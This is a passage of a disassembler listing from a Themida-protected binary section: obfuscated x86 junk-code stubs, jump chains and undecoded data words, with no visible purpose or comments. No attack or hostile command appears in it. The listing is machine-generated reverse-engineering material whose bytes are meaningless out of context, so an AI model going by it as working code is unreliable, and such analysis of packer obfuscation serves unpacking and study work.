5FBF6866h, 24048966h, 0FF5EBEE9h, 2474FFFFh, 48F5A04h dd 0EB815C24h, 9CF0F29h, 2728E9h, 24248B00h, 4BF57h, 1AE90000h dd 30000063h, 0A2E95BDEh db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE2F: ; CODE XREF: Themida_:005559E5j pop esp jmp loc_55AE39 ; --------------------------------------------------------------------------- loc_55CE35: ; CODE XREF: Themida_:005567F4j and eax, ecx mov ecx, [esp] push edx jmp loc_55DA5F ; --------------------------------------------------------------------------- dd 24048966h, 5FBB6653h, 0EBC1666Eh, 66536602h, 662414F7h dd 0EB81665Bh, 8166407Dh, 687006C3h, 5D95h, 74ECE9h, 34E95400h dd 31FFFF6Ch, 851CE9C1h, 0E2D0FFFFh, 282AEA80h, 7C7FE9D0h dd 0EEC1FFFFh, 0B115E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE8A: ; CODE XREF: Themida_:0056578Aj mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push ecx push 24h mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ecx, 4E212381h jmp loc_55E29D ; --------------------------------------------------------------------------- loc_55CEBB: ; CODE XREF: Themida_:00556B51j push 201Ah mov [esp], ebp push 4EFC32FAh pop ebp sub esp, 4 mov [esp], edx jmp loc_55DB40 ; --------------------------------------------------------------------------- dword_55CED4 dd 0E94077FFh, 0FFFF5DE7h, 1C8BD889h, 230E924h ; DATA XREF: Themida_:00552B00o db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CEE6: ; CODE XREF: Themida_:005620D0j mov [esp], ebx mov ebx, 11A3032Ch xor edi, ebx push dword ptr [esp] pop ebx add esp, 4 push 6CCDh mov [esp], eax jmp loc_555DC4 ; --------------------------------------------------------------------------- dd 114C2D5Bh, 0F0297551h, 5CBDE9h db 0 ; --------------------------------------------------------------------------- loc_55CF11: ; CODE XREF: Themida_:005584EDj pop eax add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55B7A6 ; --------------------------------------------------------------------------- db 81h dd 0F61FA2C2h, 8B4DE983h, 2489FFFFh, 0A607E924h, 112DFFFFh dd 3106CC58h, 0BB16E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF56: ; CODE XREF: Themida_:00558945j add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] pop eax push edx mov edx, 58E663F1h xor eax, edx jmp loc_558F41 ; --------------------------------------------------------------------------- dw 0C15Dh dd 0EF8105EFh, 66EB4665h, 2887EF81h, 0FB2187DCh, 0E9243C8Bh dd 5999h, 7264C8BEh, 1235BD7Bh, 0F529339Eh, 10D9E9h, 7956800h dd 14890000h, 2404FF24h, 3EAC15Ah, 9B22E9h, 40500h, 0E8830000h dd 8969E904h db 2 dup(0) word_55CFC2 dw 8F66h ; DATA XREF: Themida_:00552AC4o dd 5CF9E902h, 6DBAFFFFh, 164FB6Bh, 0E9082454h, 0FFFFA694h ; --------------------------------------------------------------------------- loc_55CFD8: ; CODE XREF: Themida_:0055EB77j push edx mov edx, 0D7CC4D2h sub ebx, 4AC4197Eh jmp loc_5553A9 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C4h dd 24348704h, 16F2815Ch, 16ED17Fh, 2434FFD1h, 4C4835Ah dd 2BB53h, 0C1810000h, 579C7AADh, 0E981D929h, 579C7AADh dd 240C335Bh, 0FF87F3E9h, 241C33FFh, 0E9241C31h, 0FFFFA91Bh dd 0EA805B58h, 0FFD00074h, 0E95A2434h, 8C00h, 8904EC83h dd 268242Ch, 8B5BA55Eh, 55E9242Ch, 81FFFF97h, 6F0D97EFh dd 240C8B1Bh, 81E38953h, 4C3h, 4C38100h, 0E9000000h, 0FFFF6A24h ; --------------------------------------------------------------------------- loc_55D068: ; CODE XREF: Themida_:00559054j xchg ebx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5600E7 ; --------------------------------------------------------------------------- dw 582Dh dd 563DF46h, 3D1A0B69h, 0FFAE9BE9h, 0EA8158FFh, 6B7724FAh dd 68h, 24142900h, 77F2815Ah, 0E9785D0Ah, 6A3Ah ; --------------------------------------------------------------------------- loc_55D0A4: ; CODE XREF: Themida_:0055F5FBj push edi mov edi, 45052328h jmp loc_55EB71 ; --------------------------------------------------------------------------- db 0C1h dd 0EC8103EDh, 4, 0B8240489h, 29EC3B55h, 8158C531h, 9E477AF5h dd 0FFE92927h, 2C8B2434h, 4C48324h, 4C481h, 0CA290000h dd 74FF5259h, 8F5A0424h, 248B2404h, 0C1AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D0EE: ; CODE XREF: Themida_:00556F7Dj pop eax mov edi, [esp] jmp loc_565BC9 ; --------------------------------------------------------------------------- db 1 aY4S db 'хY)п-4,s',0 db 0E9h, 0Ch, 0DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D106: ; CODE XREF: Themida_:00566664j add edx, ebx sub edx, 540E6F43h mov ebx, [esp] jmp loc_55F63F ; --------------------------------------------------------------------------- dw 0C483h dd 7E8C104h, 4EC8340h, 83240489h, 5801242Ch, 20BD562Dh dd 58C629F5h, 54C4C681h, 0EC8354E4h, 243C8904h, 0B23C84BFh dd 0C3F2E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D146: ; CODE XREF: Themida_:00555EB9j xor [esp+4], edi jmp loc_55C3C1 ; --------------------------------------------------------------------------- db 54h dd 8124348Bh, 4C4h, 0ABB85000h, 4024C404h, 0C107E0C1h dd 0D8F702E8h, 5BF5E9h, 0F7D9F700h, 81D9F7D9h, 2DD93AF1h dd 12C9E9E7h, 0C5810000h, 4, 4ED81h, 2C870000h, 3C895C24h dd 57E4BF24h, 0C7817503h, 1502056Eh, 34E1EF81h, 0F7810195h dd 1F875DC9h, 1309B951h, 0CF296AC2h, 792DE9h, 815D5B00h dd 0BB3213E9h, 0E9E9D157h, 0FFFF8497h ; --------------------------------------------------------------------------- loc_55D1C4: ; CODE XREF: Themida_:00562F8Ej add esp, 4 jmp loc_55D352 ; --------------------------------------------------------------------------- dd 5004C483h, 83242C8Bh, 815804C4h, 980319EAh, 0E9EA0113h dd 57E2h ; --------------------------------------------------------------------------- loc_55D1E4: ; CODE XREF: Themida_:00561E29j add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ebp pop ebp shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi xor esi, ebp xor ebp, esi xor esi, ebp push ebp not dword ptr [esp] pop ebp xchg ebp, esi push esi push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_554685 ; --------------------------------------------------------------------------- loc_55D228: ; CODE XREF: Themida_:00563C39j push eax mov eax, esp push ecx jmp loc_55BB84 ; --------------------------------------------------------------------------- db 81h, 0EBh, 3Eh dd 0FF65B745h, 83582434h, 2C8904ECh, 0E9E58924h, 0FFFFBEDFh dword_55D248 dd 240C8B66h, 1A9568h, 242C8900h, 0B3E9E589h, 0B9FFFFB6h ; DATA XREF: Themida_:00552A14o dd 5230F967h, 0E959CF31h, 1F36h ; --------------------------------------------------------------------------- loc_55D268: ; CODE XREF: Themida_:00555759j sub ebp, 117E6571h xor ebp, 30C33D7Dh add ebp, 21CF0EA8h jmp loc_5677BC ; --------------------------------------------------------------------------- db 0BEh dd 6A0B22A7h, 0E946D6F7h, 978Eh ; --------------------------------------------------------------------------- loc_55D28C: ; CODE XREF: Themida_:0055EDD0j mov bl, dl mov edx, [esp] add esp, 4 jmp loc_563BAC ; --------------------------------------------------------------------------- aISl db '┴<$ИL',7,0 db 0 ; --------------------------------------------------------------------------- loc_55D2A1: ; CODE XREF: Themida_:00564FB4j mov edi, 76CD36F6h not edi sub edi, 0FFFFFFFFh sub edi, 2B5087B6h sub ebx, edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp mov [esp], edx push 1 pop edx and ecx, edx mov edx, [esp] push 1ED5h mov [esp], ecx push 6ACBh mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_558CF4 ; --------------------------------------------------------------------------- db 2Dh, 4Ch, 75h dd 0F3350B9Bh, 29492E3Dh, 0E14DE9C2h, 3C33FFFFh, 243C3124h dd 0E9243C33h, 0FFFF7BB6h, 81E5D15Dh, 0CBBDFCEDh, 0B5C681ACh dd 11FDA40h, 0B5EE81EEh, 0E91FDA40h, 0FFFFCC1Fh, 0D4F617B4h dd 0C0E6EC80h, 0CCFE04ECh, 8855E9h, 941BE00h, 0E5E94598h dd 55FFFFB0h, 655568h, 3F90E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D352: ; CODE XREF: Themida_:0055D1C7j pop esi and eax, ecx mov ecx, [esp] push 2274h mov [esp], esi mov esi, esp jmp loc_55BE90 ; --------------------------------------------------------------------------- db 2Ch dd 4F000B5h, 662E04B5h, 4AEB652h, 51F000BBh, 0E828BBB5h dd 685A6659h, 7EDh, 0B2241489h, 4EAC000h, 0C0FFEA80h, 686602EAh dd 8966209Eh, 5150241Ch, 0DDF65CB5h, 0ED80CDFEh, 59E88803h dd 45E9C788h, 0B1FFFFEEh, 59C8305Ah, 5CB15152h, 0E9F2C180h dd 0FFFF7652h ; --------------------------------------------------------------------------- loc_55D3C0: ; CODE XREF: Themida_:0055DD1Ej mov ebx, [esp] add esp, 4 xchg eax, [esp] jmp loc_55EA48 ; --------------------------------------------------------------------------- loc_55D3D1: ; CODE XREF: Themida_:00558971j xor ecx, ebp pop ebp xor ebp, ecx pop ecx push edi mov edi, ebp mov ecx, edi pop edi pop ebp jmp loc_5531BC ; --------------------------------------------------------------------------- db 1 dd 15E95AD6h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3EB: ; CODE XREF: Themida_:005608A7j push 25D52EC8h pop ecx add ecx, 0E1321A47h mov eax, ecx jmp loc_556A67 ; --------------------------------------------------------------------------- dw 268h dd 0E9000000h, 0FFFF7A4Bh, 4C4835Fh, 0F181E9D1h, 19ED4002h dd 5124D005h, 2DC80152h, 525124D0h, 592434FFh, 843AE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D42A: ; CODE XREF: Themida_:00552FB8j mov [esp], ebp jmp loc_56005C ; --------------------------------------------------------------------------- loc_55D432: ; CODE XREF: Themida_:005656DDj mov [esp], ebx jmp loc_55BA25 ; --------------------------------------------------------------------------- dw 481h dd 424h, 4DE95800h db 72h, 2 dup(0FFh) off_55D447 dd offset loc_41E267+1 ; DATA XREF: Themida_:00552B14o align 4 dd offset dword_457444+3BFA5h dd 3B436800h, 81592544h, 6C137BE9h, 6853555Ch, 151B14C3h dd 81D3F75Bh, 0DF73FACBh, 4E3C14Ah, 4C3AEB81h, 0DD896107h dd 5DE9015Bh, 51F18141h, 0E97267DEh, 0FFFF9285h, 405h dd 24048700h, 8F24248Bh, 248B2404h, 2424D224h, 0C30CE99Ch dd 0C381FFFFh, 4, 8702EB83h, 9CE9241Ch, 57000079h, 604B40BFh dd 0E9FB0121h, 0A284h, 24048B59h, 4C481h, 805A0000h, 0B5E901EBh dd 89FFFFCAh, 0B850240Ch, 4A7D1385h, 0A5032A2Dh, 6DCC2D5Ah dd 0E0C17A77h, 0B2B95104h, 816DE234h, 0E81C5EF1h, 0F262D3Bh dd 0C829677Ah, 7A0F2605h, 0C1895967h, 30EA8158h, 0E9002272h dd 0FFFFE116h, 7CE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D516: ; CODE XREF: Themida_:0055EBB8j mov [esp], esi mov esi, 1B2E10C4h sub [esp+8], esi pop esi sub dword ptr [esp+4], 7E2F00E0h jmp loc_5678B2 ; --------------------------------------------------------------------------- dd 8958C229h, 2434FFD5h, 0FF990CE9h, 54BE56FFh, 81527130h dd 9B4B51EEh, 3E6C152h, 25BCE9h, 0DD895800h, 52241C8Bh dd 0C281E289h, 4, 8704C283h, 0C15C2414h, 0F75506EDh, 565D2414h dd 3985BA52h, 0E28137D7h, 3F37452Bh, 45D9F281h, 1AE90B87h dd 89FFFFFAh, 0F589242Ch, 944AE951h, 0BA52FFFFh, 599B4D43h dd 975AD001h, 6531E9h, 39F20500h, 0EA0509EAh, 1DF985Bh dd 2434FFC7h, 8967E9h db 0 ; --------------------------------------------------------------------------- loc_55D5B5: ; CODE XREF: Themida_:00566B0Ej add esp, 4 loc_55D5BB: ; CODE XREF: Themida_:loc_5551E3j sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_554996 ; --------------------------------------------------------------------------- db 81h dd 0D11E3AC6h, 24148B1Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and [edi+1Ch], esi mov esi, [esp] push ecx push esp pop ecx jmp loc_56660C ; --------------------------------------------------------------------------- loc_55D5F2: ; CODE XREF: Themida_:0055C1D3j pop ebp jmp loc_553A6C ; --------------------------------------------------------------------------- dd 6D00B5B8h, 0CD354018h, 0E9034466h, 386Bh, 0D453E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D60E: ; CODE XREF: Themida_:0055358Ej mov esp, [esp] add esp, 4 or [esp], eax pushf jmp loc_55AC39 ; --------------------------------------------------------------------------- db 4, 63h, 0 dd 1965E9D8h db 2 dup(0) word_55D626 dw 34FFh ; DATA XREF: Themida_:00552C5Co dd 2434FF24h, 7497E9h, 0C3319700h, 63BBE9h, 0F7D2F700h dd 0B7C281D2h, 29B812E6h, 0ECE95AD0h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D64B: ; CODE XREF: Themida_:0055CBBAj add esi, 64473CA8h jmp loc_55CA22 ; --------------------------------------------------------------------------- loc_55D656: ; CODE XREF: Themida_:005543BEj push 103778B9h pop eax neg eax sub eax, 0EFC88743h add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55AF2F ; --------------------------------------------------------------------------- db 1, 0F7h, 5Eh dd 0FFB5D2E9h, 81C601FFh, 6F649FC6h, 7CEE8115h, 8174B539h dd 4ECh, 1EEEE900h, 0E5C10000h, 0F9BE5606h, 0E94DD06Ch dd 740Eh, 33240C31h, 248B240Ch, 80BF5724h, 0E90A2123h dd 28D4h dword_55D6B8 dd 240C8B66h, 81E08950h, 4ECh, 24348900h, 0FF7C97E9h, 244C29FFh ; DATA XREF: Themida_:00552B08o dd 246C8104h, 555CC04h, 709DE97Bh, 0D1BFFFFFh, 31190504h dd 5F04247Ch, 8B2434FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx sub esp, 4 jmp loc_55B16C ; --------------------------------------------------------------------------- loc_55D702: ; CODE XREF: Themida_:0055B0D6j not eax xor eax, 0DDFCDD3Dh add edi, eax pop eax jmp loc_55EC42 ; --------------------------------------------------------------------------- byte_55D711 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552BB0o dd 1F5768h, 241C8900h, 977EE9h, 4C18100h, 0E9000000h, 7FB6h dd 0E9505651h, 0FFFFC2FBh, 0C7665705h, 40D0F73Bh, 0E9550548h dd 0C631CF32h, 8324048Bh, 0C68104C4h, 5AD63EF2h, 0C0E4C681h dd 12E9ECD0h, 81000065h, 5902FEF2h, 0F8BE5619h, 0E9068572h dd 0FFFFE369h ; --------------------------------------------------------------------------- loc_55D76C: ; CODE XREF: Themida_:00558B75j mov edx, 7CF14680h sub edx, 0FFFFFFFFh add edx, 13433EE2h push eax mov eax, 4F14692Ch and eax, 628F58A2h sub eax, 5EC91BE4h dec eax sub eax, 648B4159h sub eax, 5CE4E685h add edx, eax mov eax, [esp] push 3EFDh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, 4C3F46C2h or edx, 27D3115Bh sub edx, 0E6E986FCh xor ebx, edx pop edx jmp loc_566F83 ; --------------------------------------------------------------------------- dw 0EA81h dd 49B40846h, 0F1E9CA01h, 33FFFF58h, 645C240Ch, 0E9028966h dd 0FFFFB61Dh, 31242C33h, 2C33242Ch, 0D92D5C24h, 50B657Ah dd 4A1A5155h, 0BB53D029h, 4A1A5155h, 55BD829h, 0B657AD9h dd 0E924148Bh, 0FFFFFB33h, 4B13EB81h, 55920EEh, 6BBB5BCDh dd 95B0E9h db 0 ; --------------------------------------------------------------------------- loc_55D825: ; CODE XREF: Themida_:005585E1j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx push esp pop ebx jmp loc_55DC16 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 43EF8100h, 177BC3Eh, 43C781F7h, 8177BC3Eh, 0F01DE9EFh dd 24348B59h, 37C7E9h, 81E38900h, 4C3h, 4C38300h, 5C241C87h dd 4631685Bh, 4890000h, 52EC8824h, 88E58851h, 0D38859EAh dd 0C8B585Ah, 4C48324h, 34FFD830h, 54BAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D896: ; CODE XREF: Themida_:0055C162j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] idiv cx push small 15D4h mov [esp], dx push ax pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- byte_55D8B7 db 66h ; DATA XREF: Themida_:00552BF8o dd 68240C8Bh, 5858h, 0E9240489h, 0FFFFBD53h ; --------------------------------------------------------------------------- loc_55D8C8: ; CODE XREF: Themida_:005570DCj push 40h mov [esp], edi mov edi, 242B31C1h mov ebx, 242B31C5h xor ebx, edi mov edi, [esp] jmp loc_560418 ; --------------------------------------------------------------------------- dd 815FF929h, 680AF1F1h, 53BB5377h, 0F74A7C2Ah, 0BE5652DBh dd 5A1F78AEh, 9978E9h, 0C4815B00h, 4, 564D68h, 24048900h dd 0FFBA3AE9h, 0BF575DFFh, 1F1B1062h, 5FF78147h, 0E97FE43Bh dd 4A97h ; --------------------------------------------------------------------------- loc_55D928: ; CODE XREF: Themida_:00555481j xor esi, 793E27DAh sub edi, esi pop esi add edi, 678D1ED4h dec edi xor edi, 36AB7D79h sub ebx, 795D5ABDh add ebx, edi add ebx, 795D5ABDh push dword ptr [esp] pop edi push 6336h mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_556A73 ; --------------------------------------------------------------------------- dw 0C89h aSt2 db '$И▓2',0 align 2 dw 4B9h dd 0E9000000h, 0FFFFBC11h, 53241489h, 0FF5E4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D985: ; CODE XREF: Themida_:0055F10Bj or dh, 28h jmp loc_55BAC7 ; --------------------------------------------------------------------------- db 30h, 0D3h, 5Ah dd 59AEE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D996: ; CODE XREF: Themida_:0056374Dj mov [esp], ebx jmp loc_56154F ; --------------------------------------------------------------------------- dw 0C383h dd 32C36804h, 1C890000h, 651DE924h, 0C8BFFFFh, 4C48324h dd 42Dh, 24048700h, 0E924248Bh, 3F6Ah ; --------------------------------------------------------------------------- loc_55D9C4: ; CODE XREF: Themida_:00559403j add ebx, 4 jmp loc_55C2C9 ; --------------------------------------------------------------------------- db 5Eh dd 0E902C083h, 5ED1h, 8924248Bh, 8B542404h, 0C4812404h dd 4, 0D46E9h, 178B6800h, 3C8B4C74h, 4C48124h, 52000000h dd 0E3112CBAh, 5F55E929h, 0F7500000h, 48B241Ch, 4C48324h dd 5606E8C1h, 102C48BEh, 1EE835Dh, 165EC681h, 0DEF75316h dd 74E3C681h, 5005B026h, 0E9062754h, 0FFFF998Fh, 47B8BF57h dd 0E9471B1Dh, 0FFFF5F0Ch, 0E95DEB09h, 0FFFF7CD6h ; --------------------------------------------------------------------------- loc_55DA48: ; CODE XREF: Themida_:00558CFAj pop edi add ecx, edi jmp loc_55EC33 ; --------------------------------------------------------------------------- loc_55DA50: ; CODE XREF: Themida_:00557B8Aj add ecx, 4 xchg ecx, [esp] pop esp and eax, ebp pop ebp jmp loc_563E22 ; --------------------------------------------------------------------------- loc_55DA5F: ; CODE XREF: Themida_:0055CE3Bj mov edx, esp add edx, 4 jmp loc_56750D ; --------------------------------------------------------------------------- dd 0DC3AF1BDh, 89E9537Eh, 2100005Ch, 0D0F75EF0h, 0FF6F98E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DA81: ; CODE XREF: Themida_:0055752Fj xor [esp+4], ebx mov ebx, [esp] jmp loc_554CFE ; --------------------------------------------------------------------------- loc_55DA8D: ; CODE XREF: Themida_:0055BDF6j pop esp dec edx jmp loc_55C188 ; --------------------------------------------------------------------------- dd 0E9240C33h, 2346h, 33241C31h, 248B241Ch, 0C8AF0F24h dd 14E99C51h db 52h, 2 dup(0FFh) byte_55DAAF db 66h ; DATA XREF: Themida_:00552AD8o dd 0E9240C8Bh, 0FFFF558Ah, 41B8C981h, 0D9F755CBh, 47DDE981h dd 0F1814DFBh, 43A2EF3h, 13DEE981h, 0CA292D11h, 0FF525959h dd 0E9042474h, 6402h, 0B9240C89h, 0ACC5C4A4h, 0E4C781h dd 0AE9174Bh db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DAF3: ; CODE XREF: Themida_:0055733Fj sub edx, 5FF90960h dec edx sub edx, 1B74E173h jmp loc_556009 ; --------------------------------------------------------------------------- byte_55DB05 db 53h, 83h, 0ECh ; DATA XREF: Themida_:00552C74o dd 24348904h, 2C368h, 242C8900h, 0EF101A68h, 242C8B65h dd 4C481h, 9FE90000h, 2900006Bh, 5F9F2DD8h, 2D5B1DF6h dd 584E365Dh, 0FFCF3AE9h, 0E95A54FFh, 2113h ; --------------------------------------------------------------------------- loc_55DB40: ; CODE XREF: Themida_:0055CECFj push ecx push 595B1552h pop ecx add ecx, 0C681667Eh mov edx, ecx pop ecx push 0 sub [esp], edx pop edx jmp loc_564C7A ; --------------------------------------------------------------------------- dw 0B850h dd 20264B1Bh, 0C2BB5340h, 0F704C86Fh, 5AC381DBh, 31143FE9h dd 0BE565BD8h, 191E2133h, 598CCE81h, 40E92CD0h, 81FFFF70h dd 9606D7C3h, 7D39E901h, 15B0000h, 242C8BE8h, 3104C483h dd 0C22D58C3h, 15AC63Bh, 3BC205D8h, 55B5AC6h, 2, 0FFD554E9h dd 242C8BFFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 6FE9243Ch db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DBCF: ; CODE XREF: Themida_:0055C310j shl edi, 3 and edi, 4E533F59h xor edi, 28ED22F1h sub edi, 2EFD35B5h add edx, edi jmp loc_55C60C ; --------------------------------------------------------------------------- loc_55DBEB: ; CODE XREF: Themida_:0055A73Dj mov edx, esp push ecx mov ecx, 3D07105Fh sub ecx, 3D07105Bh add edx, ecx pop ecx jmp loc_5573F9 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 4132h, 0CBEA815Fh, 142524Eh, 95FBE9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DC16: ; CODE XREF: Themida_:0055D83Aj add ebx, 4 jmp loc_55C1E9 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0E84D7A68h, 24048B72h, 4C481h, 0BD550000h, 7B76E77h dd 7E76F581h, 0E5C17323h, 33ED8107h, 816A7724h, 131975F5h dd 43ED8172h, 0E93F42B4h, 0FFFFAE65h, 4C481h, 0D1F60000h dd 96E9C1FEh, 89FFFF89h, 6CE92404h, 8300006Ch, 0C30002C4h dd 711EE9h, 0F3005900h, 24148B66h, 2C481h, 0D8300000h dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 0AB1240Ch, 0C004E1C0h dd 0C18005E9h, 1D076856h, 1C890000h, 0ACC6824h, 4890000h dd 663BB424h, 0E2885253h, 0AEE9D388h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCC3: ; CODE XREF: Themida_:00560C73j xor ebx, 6A8552AEh jmp loc_56613F ; --------------------------------------------------------------------------- dw 0C301h aXhu db 'Xh·|',0 align 2 dw 18E9h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCDB: ; CODE XREF: Themida_:0055EA43j mov [esp], esi jmp loc_556C21 ; --------------------------------------------------------------------------- db 52h dd 42474FFh, 24048F5Ah, 0E924248Bh, 0FFFFEC77h, 81E68956h dd 4C6h, 4EE8300h, 0E9243487h, 0FFFF61DCh, 0E9241489h dd 0FFFF4FB3h ; --------------------------------------------------------------------------- loc_55DD10: ; CODE XREF: Themida_:0055DFF5j add ebx, 5A7C4340h sub ebx, 15A4E886h add eax, ebx jmp loc_55D3C0 ; --------------------------------------------------------------------------- db 66h dd 8B66DD01h, 0C483241Ch, 0EA316602h, 0E9242C8Bh, 0FFFFCF28h dd 9F05D029h, 5A53421Dh, 6FBE5651h, 5771F379h, 5A111FBFh dd 0E977B921h, 0F931EF94h, 0E9F1295Fh, 0FFFF653Ah ; --------------------------------------------------------------------------- loc_55DD5C: ; CODE XREF: Themida_:00562756j sub ecx, 2DAE1B8Dh add ecx, 4B3A7CC9h add ecx, eax sub ecx, 4B3A7CC9h add ecx, 2DAE1B8Dh pop eax pop esi jmp loc_5590D6 ; --------------------------------------------------------------------------- loc_55DD7D: ; CODE XREF: Themida_:0056038Fj push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] mov [esp], edx push ebx sub esp, 4 mov [esp], edi push eax mov eax, 45B74F15h jmp loc_560168 ; --------------------------------------------------------------------------- dd 0E99C5166h, 0FFFF4F17h, 0E924248Bh, 4376h, 4C381h, 52680000h dd 89000011h, 4B82404h, 81000000h, 0B03535EBh, 81C30128h dd 0B03535C3h, 6E95828h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DDDB: ; CODE XREF: Themida_:0055A934j and ebx, 188B0108h push 0 sub [esp], ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5553DC ; --------------------------------------------------------------------------- dd offset dword_457444+10824h align 2 dw 489h dd 0D7D7E924h, 8850FFFFh, 885351D0h, 5BFD88C7h, 0ADE9EB88h dd 81FFFFF6h, 0C0674BC7h, 0B5C78127h, 53258B10h, 0AC35F6BBh dd 0E8AE911h, 0E0350000h, 0F773A828h, 2DD0F7D8h, 14E80245h dd 0F44C932Dh, 0D8CFE910h, 0C781FFFFh, 4, 4BD55h, 0EF290000h dd 243C875Dh, 8EDCE9h, 0E2895200h, 4C281h, 0BB530000h dd 4, 875BDA01h, 0BCE92414h, 5CFFFF78h, 8904EC83h, 0B82404h dd 0E9000000h, 9545h, 0C781EF01h, 58BE398Dh, 0FF676CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE91: ; CODE XREF: Themida_:005671CFj mov [esp], ebp mov ebp, ebx mov eax, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55F2D8 ; --------------------------------------------------------------------------- dd 0C8B60F66h, 3B046866h, 240C8966h, 0FFA2B7E9h db 0FFh off_55DEBD dd offset dword_5AD068 ; DATA XREF: Themida_:00552B98o align 2 dd offset dword_457444+3EF24h dw 8900h dd 0E589242Ch, 4C581h, 57530000h, 0FF998BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DED9: ; CODE XREF: Themida_:0055A9D3j add esp, 4 push 7824h jmp loc_561110 ; --------------------------------------------------------------------------- dw 525Fh dd 4815755h, 92571224h, 0ED815D34h, 34925712h, 0E95DEA89h dd 6863h, 24E9E0D1h, 5000000Ah, 0FF8947E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF0D: ; CODE XREF: Themida_:0056278Ej push edi mov edi, 4A385C63h mov ecx, edi push dword ptr [esp] pop edi push 223Eh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5650BF ; --------------------------------------------------------------------------- db 81h, 0F3h, 82h dd 534C5253h, 0B242C81h, 5E13B038h, 380BC681h, 815B13B0h dd 0F6AF4EBh, 81F30168h, 0F6AF4C3h, 0FF535E68h, 5B042474h dd 8A87E9h, 4D5DE900h, 8F54FFFFh, 4832404h, 68580424h dd 4222h, 54240489h, 0C96E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DF7E: ; CODE XREF: Themida_:00562F10j pop esi mov esi, edi pop edi add ebp, esi pop esi push ebp jmp loc_5537BD ; --------------------------------------------------------------------------- loc_55DF8B: ; CODE XREF: Themida_:00561888j push eax mov eax, 34F7D91h push esi mov esi, eax mov ecx, esi mov esi, [esp] add esp, 4 pop eax add ecx, 671A1155h jmp loc_566E59 ; --------------------------------------------------------------------------- loc_55DFA8: ; CODE XREF: Themida_:0056271Bj pop esi and eax, ecx push dword ptr [esp] pop ecx jmp loc_559400 ; --------------------------------------------------------------------------- dd 0F704C483h, 0BFC781D7h, 0E979CB28h, 0FFFF73DAh, 0C9E9DBF7h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DFCB: ; CODE XREF: Themida_:005646DCj mov edi, esp add edi, 4 add edi, 4 jmp loc_553921 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 0E904C683h, 68E1h ; --------------------------------------------------------------------------- loc_55DFEC: ; CODE XREF: Themida_:0055FA82j xor edi, 5E6042F4h xor ebx, edi pop edi jmp loc_55DD10 ; --------------------------------------------------------------------------- dw 8468h dd 89000009h, 0D4E92434h, 0C1FFFF4Eh, 84E908E0h, 5EFFFFA0h dd 4E52E9h db 0 byte_55E015 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00552B3Co dd 6658669Dh, 9C240411h, 0FF4C9EE9h db 0FFh ; 